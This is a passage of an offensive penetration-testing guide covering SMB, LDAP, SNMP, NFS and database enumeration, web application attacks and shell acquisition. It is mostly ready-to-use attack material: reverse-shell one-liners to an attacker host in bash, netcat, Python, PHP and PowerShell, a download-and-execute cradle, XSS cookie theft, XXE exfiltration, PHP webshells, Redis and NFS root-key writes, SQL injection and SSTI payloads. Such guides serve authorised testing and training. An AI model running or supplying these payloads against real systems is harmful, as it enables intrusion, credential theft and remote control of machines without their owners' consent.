SMB (Server Message Block) is the Windows file and printer sharing protocol. It runs on TCP ports 139 (NetBIOS over TCP/IP, legacy) and 445 (direct SMB over TCP). SMB is one of the richest attack surfaces in Windows environments and has been the source of some of the most devastating vulnerabilities in history EternalBlue (MS17010), which powered WannaCry and NotPetya, exploited SMB.

SMB attack vectors: Null session / anonymous access: Older SMB configurations allow unauthenticated connections. Even limited null session access can enumerate share names, domain users, groups, and policies. Share enumeration: Misconfigured file shares may grant read or write access to sensitive data including configuration files, scripts, and backup archives. SMB signing: When SMB message signing is disabled or not required, NTLM relay attacks become possible captured authentication attempts can be relayed to other hosts to authenticate as the victim user. GPP passwords: Group Policy Preferences allowed administrators to set local account passwords via Group Policy, but Microsoft accidentally embedded the AES key used to “encrypt” these passwords in public documentation. gppdecrypt cracks them instantly.

CrackMapExec (CME) / NetExec is a Swiss Army knife for Windows network enumeration and exploitation. It can spray credentials, enumerate shares, spider file contents, dump SAM databases, run commands, and much more all against entire subnets in parallel.

nmap p445 script smbvuln* $IP

smbclient L //$IP N
smbmap H $IP
smbmap H $IP u "" p ""
smbmap H $IP u guest p ""
smbmap H $IP u $USER p $PASS r ShareName

enum4linuxng $IP A oY enum4linux.yaml

crackmapexec smb $IP u "" p "" shares
crackmapexec smb $IP u $USER p $PASS shares
crackmapexec smb $IP u userlist p passlist continueonsuccess
crackmapexec smb $IP u $USER p $PASS M spider_plus

rpcclient U "" $IP N
# Inside rpcclient:
# enumdomusers
# enumdomgroups
# querydominfo
# netshareenum

smbget R smb://$IP/SHARE U $USER%$PASS
sudo mount t cifs //$IP/SHARE /mnt/smb o username=$USER,password=$PASS

# GPP passwords
crackmapexec smb $IP u $USER p $PASS M gpp_password
grep r "cpassword" /mnt/sysvol/
gppdecrypt [cpassword_value]

# Check SMB signing
crackmapexec smb $IP/24 genrelaylist relay_targets.txt
nmap p445 script smb2securitymode $IP/24

GPP passwords use a publicly known AES key that Microsoft accidentally published. gppdecrypt cracks them instantly. Still found on real engagements.

3.7 LDAP (Ports 389, 636, 3268, 3269)

LDAP (Lightweight Directory Access Protocol) is the protocol used to query and modify directory services most commonly Microsoft Active Directory. It’s the backbone of authentication and authorization in Windows enterprise environments. LDAP runs on port 389 (plain) and 636 (over TLS). Ports 3268/3269 are the Global Catalog an LDAP service that contains a partial replica of all objects in the forest, enabling crossdomain queries.

Anonymous LDAP bind (querying without credentials) is a common misconfiguration that allows an unauthenticated attacker to dump the entire directory structure users, groups, computers, organizational units, and all their attributes. Even authenticated LDAP queries with a lowprivilege account can reveal enormous amounts of useful data.

Description fields are a wellknown vector: system administrators frequently store credentials, notes, and configuration information in user account description fields because it’s convenient. These fields are part of standard user objects and are readable by any authenticated (and sometimes anonymous) LDAP query.

LAPS (Local Administrator Password Solution) automatically rotates local administrator passwords on domainjoined computers and stores them in Active Directory. The msMcsAdmPwd attribute contains the current local admin password in plaintext readable by anyone with delegated LAPS read permission.

ldapsearch x H ldap://$IP b "" s base namingContexts

ldapsearch x H ldap://$IP b "DC=domain,DC=com" > ldap_dump.txt

# Find users with passwords in description field (very common!)
ldapsearch x H ldap://$IP b "DC=domain,DC=com" "(description=*)" sAMAccountName description

# Check for LAPS passwords
ldapsearch x H ldap://$IP D "user@domain.com" w pass \
    b "DC=domain,DC=com" "(msMcsAdmPwd=*)" msMcsAdmPwd

ldapdomaindump $IP u "domain\\user" p "pass" o ldap_dump/

LDAP description fields are gold. Admins frequently put passwords in user description fields.

3.8 SNMP (UDP Port 161)

SNMP (Simple Network Management Protocol) is a protocol for monitoring and managing network devices and servers. It uses a community string as a shared password public for readonly access, private for readwrite. The default community strings are almost never changed. SNMP runs on UDP port 161.

Why SNMP is so powerful for attackers: The SNMP MIB (Management Information Base) is a hierarchical database of everything the agent knows about the system. It includes running processes and their full commandline arguments, installed software, active network connections, open TCP ports, ARP table, routing table, network interfaces, and user accounts. Process commandline arguments are particularly valuable because system administrators frequently pass database passwords, API keys, and other credentials directly on the command line when starting services and SNMP exposes all of this without authentication when the default community string is in use.

OID (Object Identifier) strings address specific pieces of information in the MIB tree. The OIDs below target the most useful information for penetration testing.

onesixtyone c /usr/share/seclists/Discovery/SNMP/snmp.txt $IP

snmpwalk v2c c public $IP > snmp_full.txt

# Key OIDs
# Processes + cmdline: 1.3.6.1.2.1.25.4.2.1.5
# Installed software: 1.3.6.1.2.1.25.6.3.1.2
# Windows users: 1.3.6.1.4.1.77.1.2.25
# Open TCP ports: 1.3.6.1.2.1.6.13.1.3

snmpwalk v2c c public $IP 1.3.6.1.2.1.25.4.2.1.5 | grep i "pass\|user\|key\|secret\|cred"

snmpcheck $IP c public

SNMP process list shows commandline arguments of ALL running processes. Sysadmins pass database passwords on the command line these appear in plain text.

3.9 NFS (Ports 111, 2049)

NFS (Network File System) is a distributed file system protocol that allows a server to export directories and let remote clients mount and access them as if they were local. It’s common on Linux/Unix environments and frequently misconfigured in ways that allow privilege escalation.

showmount e lists all exported (shared) directories and their access control which hosts or networks are allowed to mount each export. This is the first command to run.

no_root_squash is the critical misconfiguration. By default, NFS maps remote root user requests to the nobody user preventing root on the client from having root privileges on the NFS share. When no_root_squash is set, the root user on the client machine has root access to the share. Combined with write permission, this means you can write files owned by root including SSH authorized_keys for the root account giving immediate SSH access as root.

UID matching is another NFS quirk: file ownership on NFS is based on numeric UID. If the share contains files owned by UID 1001, creating a local user with UID 1001 gives you access to those files.

showmount e $IP
nmap p111,2049 script nfsshowmount,nfsls,nfsstatfs $IP

sudo mkdir /mnt/nfs && sudo mount t nfs $IP:/share /mnt/nfs o nolock

# If no_root_squash is enabled  write SSH key as root
sudo su
mkdir p /mnt/nfs/root/.ssh
cp ~/.ssh/id_rsa.pub /mnt/nfs/root/.ssh/authorized_keys
chmod 600 /mnt/nfs/root/.ssh/authorized_keys
ssh root@$IP

# If files owned by specific UID
sudo useradd u 1001 targetuser && su targetuser

NFS with no_root_squash = instant root. Still works surprisingly often.

3.10 Databases

Exposed database services are among the most impactful findings in penetration testing. A direct connection to a database server bypasses the entire web application layer all the validation, sanitization, and access controls in the web app are irrelevant if the database port is directly reachable. Each database has its own set of dangerous builtin functions that enable file reads, file writes, and command execution from within SQL.

MySQL load_file() reads any file on the filesystem the MySQL process can access. INTO OUTFILE writes query results (including arbitrary strings) to a file used to write webshells. secure_file_priv controls which directories these operations can access; an empty value means unrestricted.

MSSQL xp_cmdshell is a stored procedure that executes operating system commands as the SQL Server service account. Disabled by default but easily reenabled by a sysadminprivileged user. xp_dirtree makes the SQL Server authenticate to a UNC path if you’re running Responder, this captures the service account’s NTLM hash for offline cracking.

Redis is an inmemory data store with a simple text protocol. When unauthenticated, the config set command can change where Redis writes its database file and what it’s named which enables writing arbitrary content to arbitrary filesystem paths. The SSH authorized_keys technique works because Redis’s serialization format puts content before and after your key, but SSH ignores extra content in authorized_keys files.

PostgreSQL superuser accounts can execute OS commands via COPY ... TO PROGRAM.

# MySQL
mysql h $IP u root password=""
# SELECT load_file("/etc/passwd")
# SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/shell.php'
# SHOW VARIABLES LIKE 'secure_file_priv'

# MSSQL
impacketmssqlclient sa:@$IP
# xp_cmdshell for RCE
# EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
# EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# EXEC xp_cmdshell 'whoami'
# EXEC xp_dirtree '\\YOURIP\share'   NTLM hash capture via Responder

# Redis (unauthenticated SSH key write)
rediscli h $IP config set dir /root/.ssh
rediscli h $IP config set dbfilename authorized_keys
rediscli h $IP set ssh "\n\n$(cat ~/.ssh/id_rsa.pub)\n\n"
rediscli h $IP bgsave
ssh root@$IP

# PostgreSQL (superuser RCE)
# COPY (SELECT '') TO PROGRAM 'bash i >& /dev/tcp/YOURIP/4444 0>&1'

# MongoDB
mongo $IP:27017
# show dbs; db.users.find()

# Elasticsearch
curl http://$IP:9200/_cat/indices
curl http://$IP:9200/INDEX/_search

⬡ PHASE 4 WEB APPLICATION ATTACKS

Web application attacks are the largest and most varied category in offensive security. Modern web applications are complex systems they parse user input, query databases, include files, render templates, call external services, process XML, and execute code in response to HTTP requests. Each of these operations is a potential attack point when the application fails to properly validate and sanitize input.

The techniques in this phase range from classic injection attacks (SQLi, XSS, command injection) to file handling vulnerabilities (LFI, file upload) to modern web technology attacks (SSRF, JWT, GraphQL). Understanding the root cause of each not just the payload is what lets you identify novel variants and bypass protections.

4.1 SQL Injection

SQL Injection (SQLi) is a code injection vulnerability that occurs when usersupplied input is incorporated into a SQL query without proper sanitization. The database interprets attackercontrolled data as SQL code, allowing manipulation of query logic, extraction of database contents, and in some configurations, command execution on the underlying operating system.

Why it happens: SQL queries are built by concatenating strings. When user input is placed directly into a query string like "SELECT * FROM users WHERE username='" + username + "'", a user who enters ' OR '1'='1 changes the query to SELECT * FROM users WHERE username='' OR '1'='1' which returns all rows because '1'='1' is always true.

Types of SQL injection: Errorbased: The database returns errors that reveal schema information. Directly visible. UNIONbased: You append a UNION SELECT to extract data from other tables. Requires knowing the number of columns and their data types. Booleanbased blind: The application behaves differently based on whether your injected condition is true or false. No data in the response, but you can extract data bit by bit by asking yes/no questions. Timebased blind: The application takes longer to respond when your injected condition is true (via SLEEP() or WAITFOR DELAY). Slowest, but works when there’s no visible difference in responses. Outofband: Data is exfiltrated via a DNS lookup or HTTP request to an attackercontrolled server. Used when the application provides no feedback at all.

HTTP headers as injection points is commonly overlooked. If the application logs XForwardedFor, UserAgent, or Referer values to the database, those fields are injection points too.

Detection

' OR '1'='1
' OR 1=1
1' AND SLEEP(5)
'; WAITFOR DELAY '0:0:5'
1' ORDER BY 1

# Test in HTTP headers too
XForwardedFor: ' OR 1=1
UserAgent: ' OR 1=1
Referer: ' OR 1=1

UNION Injection

UNION injection works by appending a second SELECT statement to the original query using the UNION operator. For this to work, the injected SELECT must have the same number of columns as the original query, and compatible data types. The columncount discovery technique (incrementing ORDER BY until an error appears) exploits the fact that ORDER BY can reference columns by number when you reference a column that doesn’t exist, the database errors.

 Find column count
' ORDER BY 1 (no error) → keep incrementing until error

 Find visible columns
' UNION SELECT 'a',NULL,NULL

 Extract data
' UNION SELECT username,password,NULL FROM users
' UNION SELECT table_name,NULL FROM information_schema.tables

 Read files
' UNION SELECT load_file('/etc/passwd'),NULL

 Write webshell
' UNION SELECT '<?php system($_GET["c"]);?>',NULL INTO OUTFILE '/var/www/html/shell.php'

Blind SQLi

Blind SQL injection extracts data without seeing it in the response. Booleanbased blind injects conditions and infers data from true/false application behavior (different page content, different redirect, different response size). Timebased blind injects delay functions SLEEP(5) in MySQL, WAITFOR DELAY in MSSQL, pg_sleep() in PostgreSQL and measures response time. If the page takes 5 extra seconds, the condition was true.

 Booleanbased
' AND (SELECT COUNT(*) FROM users)>0
' AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a'

 Timebased MySQL
' AND IF(1=1,SLEEP(5),0)
' AND IF((SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a',SLEEP(5),0)

 MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'

 PostgreSQL
'; SELECT pg_sleep(5)

sqlmap

sqlmap is an opensource tool that automates the detection and exploitation of SQL injection vulnerabilities. It handles all injection types, database fingerprinting, data extraction, file read/write, and OS command execution automatically. The r flag reads a raw HTTP request captured from Burp Suite this is the best way to use sqlmap because it handles cookies, headers, POST bodies, and other parameters automatically.

level controls how many tests to run (15). risk controls how dangerous the tests are (13). Higher values test more parameters and more injection types but take longer and may be more noisy. Tamper scripts apply transformations to bypass WAF (Web Application Firewall) filters for example, replacing spaces with comments, randomizing case, or encoding characters.

# BEST METHOD  from Burp request file
sqlmap r request.txt level 5 risk 3 batch

sqlmap u 'http://$IP/page?id=1' dbs batch
sqlmap u 'http://$IP/page?id=1' D dbname T users dump
sqlmap u 'http://$IP/page?id=1' osshell

# WAF bypass
sqlmap r request.txt tamper=space2comment,between,randomcase level 5 risk 3

4.2 LFI (Local File Inclusion)

Local File Inclusion (LFI) occurs when a web application includes a file based on usersupplied input without properly validating the path. The classic example is ?file=page.php where the application does include($_GET['file']) an attacker who controls the file parameter can traverse the directory structure to include arbitrary files from the server’s filesystem.

Why this is dangerous beyond file reading: While reading /etc/passwd is interesting, the real impact is code execution. PHP include() doesn’t just read a file it parses and executes any PHP code it finds. If you can get PHP code into any file that’s readable via LFI, you achieve Remote Code Execution.

Path traversal sequences (../) navigate up the directory tree. Web applications try to block these with filters, but there are many bypass techniques: doubleencoding (%252f), null bytes (to truncate path extensions), and variations like ....// (which, after the server strips ../, still produces ../).

Highvalue target files: /etc/passwd User accounts, home directories, shell types /etc/shadow Password hashes (requires root permission on target) /etc/crontab Scheduled tasks /home/user/.ssh/id_rsa Private SSH key /proc/self/environ Environment variables of the web server process (often contains secrets) Log files For log poisoning (see below)

# Basic traversal
?file=../../../../etc/passwd

# Bypass variations
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
/etc/passwd%00

# Highvalue targets
/etc/passwd, /etc/shadow, /etc/crontab, /etc/ssh/sshd_config
/home/user/.ssh/id_rsa, /root/.ssh/id_rsa
/var/log/apache2/access.log
/proc/self/environ, /proc/self/cmdline

LFI to RCE

Log poisoning works by injecting PHP code into a log file that you can then include. When you send an HTTP request with a malicious UserAgent string like <?php system($_GET["c"]);?>, Apache writes that string into access.log. When you then include access.log via LFI, the PHP interpreter executes your injected code.

PHP wrappers are builtin PHP stream handlers that can be used in file paths. php://filter with convert.base64encode reads the raw PHP source of a file and returns it base64encoded bypassing execution and revealing source code. data:// allows injecting data directly as a “file” including base64encoded PHP code. php://input reads the raw POST body as a file, allowing direct code injection.

pearcmd is a PHP library management script that’s present in many PHP installations (especially in Docker). It has a configcreate function that writes a config file to a specified path with specified content content you control. This makes it a powerful LFItoRCE primitive.

# Log Poisoning (Apache)
curl s http://$IP A '<?php system($_GET["c"]);?>'
# Then: ?file=../../../../var/log/apache2/access.log&c=id

# Log Poisoning (SSH auth.log)
ssh '<?php system($_GET["c"]);?>'@$IP
# Then: ?file=../../../../var/log/auth.log&c=id

# PHP Wrappers
?file=php://filter/convert.base64encode/resource=index.php
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg==

# Via php://input
curl X POST 'http://$IP/page?file=php://input' data '<?php system("id");?>'

# pearcmd (common in Docker)
?file=/usr/local/lib/php/pearcmd.php&+configcreate+/&/<?=system($_GET['c'])?>+/tmp/evil.php

pearcmd LFItoRCE is one of the most reliable modern techniques. Very common on Docker containers.

4.3 SSTI (ServerSide Template Injection)

ServerSide Template Injection (SSTI) occurs when user input is embedded directly into a template that is then rendered by the server’s template engine. Template engines like Jinja2 (Python), Twig (PHP), Freemarker (Java), and ERB (Ruby) use special syntax ({{ }}, ${ }, <%= %>) to evaluate expressions. When user input containing these delimiters is passed to the template engine without sanitization, the engine evaluates attackercontrolled code.

Why SSTI is critical: Template engines have access to the serverside execution environment. In Python’s Jinja2, for example, you can traverse the Python object hierarchy from any object to reach builtin functions like __import__, which lets you import os and execute system commands. SSTI is effectively Remote Code Execution through the template engine.

Identification: The detection payload {{7*7}} returns 49 in Jinja2, Twig, and Django. {{7*'7'}} returns 7777777 in Jinja2 (Python string multiplication) and 49 in Twig (PHP multiplication) this single character difference fingerprints the exact engine.

PayloadResultEngine
{{7*7}}49Jinja2, Twig, Django
${7*7}49Freemarker, Thymeleaf
<%= 7*7 %>49ERB, EJS
{{7*'7'}}7777777Jinja2 specifically
#{7*7}49Pebble, Mako
# Jinja2 RCE
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

# Jinja2 alternatives
{{ lipsum.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}

# Twig RCE (PHP)
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}

# Automate
python3 sstimap.py u http://$IP/page?name=SSTI

4.4 XSS

CrossSite Scripting (XSS) occurs when an application includes unvalidated, unescaped user input in its HTML output, allowing attackers to inject clientside scripts (typically JavaScript) that execute in other users’ browsers. Unlike most web vulnerabilities, XSS primarily affects other users rather than the server itself.

Types of XSS: Reflected XSS: The payload is in the request (URL parameter, form field) and is reflected in the immediate response. The victim must be tricked into clicking a crafted link. Impact is limited to that single request. Stored XSS: The payload is stored in the application’s database (comment, profile field, forum post) and served to every user who views that content. Far more impactful one payload can compromise thousands of sessions. DOMbased XSS: The vulnerability is in clientside JavaScript that writes usercontrolled data to the DOM. The server never sees the payload. Blind XSS: The payload fires in a context you can’t see (admin panel, internal log viewer). XSS Hunter provides a callback mechanism to prove execution when you can’t directly observe the effect.

Common impact: Cookie theft (session hijacking), credential stealing (fake login forms), keylogging, CSRF, redirecting users to malicious sites, reading sensitive page content. The fetch() technique lets XSS read internal pages (sameorigin) and exfiltrate their contents to an attacker server.

// Detection
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
'><script>alert(document.cookie)</script>

// Cookie stealing
<script>new Image().src='http://YOURIP/?c='+document.cookie</script>

// Blind XSS
<script src='https://xsshunterurl/payload.js'></script>

// XSS to read internal pages
<script>fetch('http://127.0.0.1/admin').then(r=>r.text()).then(t=>fetch('http://YOURIP/?d='+encodeURIComponent(t)))</script>

4.5 Command Injection

Command injection occurs when usersupplied input is passed to a system shell command (via functions like system(), exec(), popen(), shell_exec() in PHP, or subprocess with shell=True in Python) without proper sanitization. The attacker injects shell metacharacters that cause the shell to interpret their input as additional commands.

Shell metacharacters are the key: ; separates commands, && runs the next command if the previous succeeded, || runs the next if the previous failed, | pipes output, and backticks/$() execute a subshell. Any of these placed in user input that reaches a shell call can inject arbitrary commands.

Bypass techniques: Many applications blacklist obvious characters like ; and |. Alternatives: $IFS substitutes for spaces (Internal Field Separator), curly brace expansion {command} works in some contexts, and different encodings may bypass string filters.

127.0.0.1; id
127.0.0.1 && id
127.0.0.1 || id
127.0.0.1 | id
127.0.0.1`id`
127.0.0.1$(id)

# Blind injection
127.0.0.1; curl http://YOURIP/?c=$(id|base64)

# Bypass space filters
127.0.0.1;$IFS$9id
127.0.0.1;{id}

# Windows
127.0.0.1 & whoami
127.0.0.1 | whoami

4.6 SSRF

ServerSide Request Forgery (SSRF) is a vulnerability that allows an attacker to cause the server to make HTTP requests on the attacker’s behalf. The server is tricked into sending requests to unintended destinations typically internal network resources, cloud metadata services, or the server itself.

Why SSRF is critical: The server making requests has a different network position than the attacker. It may have access to internal services (databases, admin panels, internal APIs) that aren’t reachable from the outside. The server may have IAM roles (in cloud environments) that grant access to cloud resources. The server is also trusted by internal services that apply IPbased access controls.

Cloud metadata services are the most impactful SSRF targets. AWS, Azure, and GCP each provide an HTTP endpoint accessible from within the cloud instance that returns IAM credentials, instance metadata, and configuration. Obtaining IAM credentials via SSRF gives you the same cloud access as the compromised application.

IP filter bypass techniques are used when the application blocks obviously local addresses. Decimal (2130706433 = 127.0.0.1), hexadecimal (0x7f000001), and short form (127.1) are all equivalent representations that naive filters may miss.

http://localhost/
http://127.0.0.1/
http://[::1]/

# Cloud metadata
http://169.254.169.254/latest/metadata/
http://169.254.169.254/latest/metadata/iam/securitycredentials/
http://169.254.169.254/metadata/v1/        # Azure
http://metadata.google.internal/computeMetadata/v1/   # GCP

# Bypass IP filters
http://2130706433/        # 127.0.0.1 decimal
http://0x7f000001/        # 127.0.0.1 hex
http://127.1/
http://evil.com.127.0.0.1.nip.io/

# Protocolbased
file:///etc/passwd
gopher://127.0.0.1:6379/_INFO
dict://127.0.0.1:11211/stats

4.7 XXE

XML External Entity (XXE) injection is a vulnerability in applications that parse XML input. XML has a feature called External Entities references to external resources (files, URLs) defined in the XML DOCTYPE declaration. When an XML parser processes an XXE payload, it fetches the referenced external resource and includes its contents in the document. When those contents are reflected back to the attacker, arbitrary files are read from the server.

Outofband (OOB) exfiltration works when the response doesn’t reflect the entity value. The payload causes the server to make a DNS or HTTP request to an attackercontrolled server, carrying the file contents in the URL. This requires hosting a malicious DTD file externally.

SVG file upload XXE exploits the fact that SVG is an XML format. If an application accepts SVG uploads and processes them serverside (for thumbnail generation, format conversion, etc.), a malicious SVG containing an XXE payload can read serverside files.

<! Basic file read >
<?xml version='1.0'?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>&xxe;</root>

<! SSRF via XXE >
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'http://169.254.169.254/latest/metadata/'>]>

<! Blind XXE with OOB exfil (evil.dtd on your server) >
<!ENTITY % file SYSTEM 'file:///etc/passwd'>
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOURIP/?f=%file;'>">
%eval; %exfil;

<! SVG file upload XXE >
<?xml version='1.0' standalone='yes'?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<svg>&xxe;</svg>

4.8 File Upload Attacks

File upload vulnerabilities occur when an application accepts file uploads but fails to properly validate the type or content of uploaded files. If an attacker can upload a serverside executable (like a PHP file) to a webaccessible location, they achieve Remote Code Execution.

Extension bypass techniques: Applications often blacklist dangerous extensions like .php. Bypasses include alternative PHP extensions (.php5, .php4, .phtml, .phar) that the web server also executes as PHP; double extensions; null bytes (to truncate the extension check); and case variations. Magic byte checks validate file content by looking at the first few bytes (the “magic bytes” that identify file types) adding a GIF header (GIF89a) before PHP code can fool these checks while the PHP interpreter still executes the code.

.htaccess upload is particularly effective on Apache servers: if you can upload an .htaccess file with AddType application/xhttpdphp .jpg, the server will execute any uploaded .jpg files as PHP.

Zip path traversal targets applications that extract uploaded zip files by creating a zip with files that have path traversal in their names, you can write to arbitrary locations outside the intended extraction directory.

# Extension bypass
.php → .php5, .php4, .php3, .phtml, .pht, .phar
.asp → .asa, .cer, .aspx

# Magic bytes bypass
printf 'GIF89a;' > shell.gif && echo '<?php system($_GET["c"]);?>' >> shell.gif

# .htaccess upload (Apache)
# File content: AddType application/xhttpdphp .jpg
# Now .jpg files execute as PHP

# Zip path traversal
python3 c "import zipfile; z=zipfile.ZipFile('evil.zip','w'); z.write('shell.php','../../../var/www/html/shell.php')"

4.9 JWT Attacks

JWT (JSON Web Token) is a standard for transmitting claims (user identity, roles, permissions) between parties as a digitally signed JSON object. A JWT consists of three base64urlencoded parts: header (algorithm and token type), payload (claims/data), and signature. The signature is what prevents tampering or should be.

Common JWT vulnerabilities: alg:none attack: Change the algorithm to none in the header, remove the signature, and submit. Some libraries accept unsigned tokens when alg is none. RS256 to HS256 confusion: RS256 uses asymmetric keys (private key signs, public key verifies). HS256 uses a symmetric key (same key signs and verifies). If you can get the server’s public key (often at /.wellknown/jwks.json) and the server doesn’t validate the algorithm type, you can forge tokens signed with HS256 using the public key as the HMAC secret because the server will use its own public key to verify, and you know the public key. Weak secret cracking: HS256signed JWTs can be cracked offline if the secret is weak. The signature is essentially an HMAC given the header+payload and the correct secret, the signature is reproducible.

python3 jwt_tool.py [TOKEN] T              # Tamper payload
python3 jwt_tool.py [TOKEN] X a            # alg:none attack
python3 jwt_tool.py [TOKEN] X s            # RS256 → HS256 key confusion
python3 jwt_tool.py [TOKEN] C d rockyou.txt  # Crack HS256 secret

Check /.wellknown/jwks.json for exposed public keys. RS256 + public key = forge any JWT by signing with HS256.

4.10 CMS Exploitation

Content Management Systems (CMS) like WordPress, Drupal, and Joomla power a large fraction of the web. They’re common targets because they’re widely deployed, often misconfigured, frequently unpatched, and have extensive plugin ecosystems that multiply the attack surface. CMSspecific attack tools automate the enumeration and exploitation process.

WordPress is the most common CMS in the world. Its attack surface includes the /wplogin.php admin panel (bruteforceable), the REST API (user enumeration), theme and plugin editors in the admin panel (PHP code execution as the web server user), and thousands of thirdparty plugins with varying security quality. Once admin access is gained, the theme editor allows direct PHP webshell injection.

Tomcat Manager is the Apache Tomcat web application management interface. Default credentials (admin:admin, tomcat:tomcat, tomcat:s3cret) are extremely common. The manager accepts WAR (Web Application Archive) file uploads a WAR containing a JSP webshell gives immediate RCE.

Jenkins Script Console provides a Groovy scripting interface accessible to Jenkins administrators. Groovy can call Java’s Runtime.exec() to execute OS commands this is essentially builtin RCE for anyone with Jenkins admin access.

# WordPress
wpscan url http://$IP e ap,at,u,tt apitoken $TOKEN
wpscan url http://$IP U admin P rockyou.txt
# Admin → Appearance → Editor → 404.php → add shell

# Drupalgeddon2
python3 drupalgeddon2.py u http://$IP/

# Tomcat manager WAR shell
msfvenom p java/jsp_shell_reverse_tcp LHOST=YOURIP LPORT=4444 f war o shell.war
# Upload to /manager/html, access at /shell/

# Jenkins Groovy RCE
# Dashboard → Script Console → Runtime.exec(...)

⬡ PHASE 5 EXPLOITATION & SHELL ACQUISITION

Exploitation is where the reconnaissance pays off. You’ve enumerated services, identified versions, discovered misconfigurations, and understood the attack surface. Now you act. The discipline here is critical: exploit only what you’ve thoroughly enumerated, understand what you’re running before you run it, and always have a listener ready before you trigger an exploit.

The goal of this phase is a shell an interactive command execution channel on the target system. Everything else is setup. The quality of that shell matters: an unstable netcat shell without terminal capabilities will frustrate everything you try to do. Stabilization is not optional.

5.1 Exploit Research Methodology

Systematic exploit research prevents wasted effort and dangerous assumptions. The research flow below goes from most specific (exact CVE for your exact version) to most general (searching by service name). The version number is everything an exploit for Apache 2.4.49 does not work on 2.4.50. Always confirm the exact version before selecting an exploit.

searchsploit is the offline ExploitDB mirror that comes with Kali. searchsploit nmap automatically parses your nmap output and searches for exploits against every service version it found this is the most efficient first step after finishing the targeted scan.

Vulhub provides prebuilt Docker environments for reproducing specific CVEs. When you find a potential vulnerability, reproducing it locally first (before touching the target) lets you understand the exploit, adapt it if necessary, and confirm your payload works without burning your only attempt on the real target.

# Research flow  always in this order
# 1. Exact service name + version from nmap
# 2. searchsploit nmap nmap/targeted.txt
# 3. searchsploit 'Service 2.4.49'
# 4. Google: 'Service 2.4.49 CVE exploit site:github.com'
# 5. exploitdb.com, packetstormsecurity.com
# 6. Vulhub for Docker lab reproductions

searchsploit [service] [version]
searchsploit m [EDB_ID]
searchsploit x [EDB_ID]
searchsploit cve CVE202141773
searchsploit nmap nmap/targeted.txt

5.2 Reverse Shell Payloads

A reverse shell is a connection initiated from the target back to the attacker’s machine. This is the standard approach because target machines behind firewalls can make outbound connections even when they can’t accept inbound ones. Your machine runs a listener on a port; the exploit triggers the target to connect back to your listener; you receive an interactive shell.

Why different shell types exist: Bash reverse shells require bash. Python shells require Python. PHP shells require PHP running on the server. PowerShell is Windowsspecific. When one doesn’t work, another might knowing multiple options lets you adapt to whatever the target has available.

Listeners: nc (netcat) is the most basic listener. rlwrap nc wraps netcat with readline, giving basic command history. pwncatcs is a fullfeatured reverse shell handler that automatically stabilizes the shell, handles file uploads/downloads, and provides a plugin system. socat creates a proper PTY (pseudoterminal), giving a fully interactive shell immediately.

Listeners

nc lvnp 4444
rlwrap nc lvnp 4444
pwncatcs lp 4444
socat file:`tty`,raw,echo=0 TCPLISTEN:4444

# Metasploit
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST YOURIP && set LPORT 4444
run j

OneLiners

# Bash
bash i >& /dev/tcp/YOURIP/4444 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh i 2>&1|nc YOURIP 4444 >/tmp/f

# Python 3
python3 c "import os,socket,subprocess;s=socket.socket();s.connect(('YOURIP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','i'])"

# PHP
php r '$sock=fsockopen("YOURIP",4444);$proc=proc_open("/bin/sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

# PowerShell
powershell nop c "$c=NewObject System.Net.Sockets.TCPClient('YOURIP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))ne 0){$d=(NewObject TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|OutString);$s.Write(($sb+'PS '+(pwd).Path+'> '|%{[text.encoding]::ASCII.GetBytes($_);}),0,$s.Length)}"

# PowerShell cradle
powershell c "IEX(NewObject Net.WebClient).DownloadString('http://YOURIP/shell.ps1')"

# socat
socat TCP:YOURIP:4444 EXEC:/bin/sh,pty,stderr,setsid,sigint,sane

5.3 Shell Stabilization

An unstabilized shell is dangerous and frustrating. When you receive a raw netcat shell, it has no terminal capabilities there’s no tab completion, arrow keys don’t work, and most critically, pressing Ctrl+C sends SIGINT to your shell process and kills your connection rather than terminating the remote command. Additionally, commands that need a TTY (like sudo and su) will fail without stabilization.

Method 1: Python PTY spawn uses Python’s pty module to spawn a real bash process with a PTY. After spawning, you background the shell (Ctrl+Z), disable echo on your local terminal (stty raw echo), foreground the shell (fg), and set environment variables. The stty rows/cols command syncs the terminal dimensions so fullscreen programs work correctly.

Method 2: Socat full TTY provides the cleanest result an immediate, fully functional PTY from the first connection. Requires socat to be available on the target or transferred to it.

Method 3: pwncatcs is the most convenient it automatically stabilizes shells on connect, provides upload/download commands, and handles shell management.

# Method 1: Python PTY
python3 c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw echo; fg
export TERM=xterm
export SHELL=bash
stty rows 50 cols 200

# Method 2: Socat Full TTY
# Attacker
socat file:`tty`,raw,echo=0 TCPLISTEN:4444
# Victim
socat TCP:YOURIP:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Method 3: pwncatcs
pwncatcs lp 4444

5.4 File Transfer

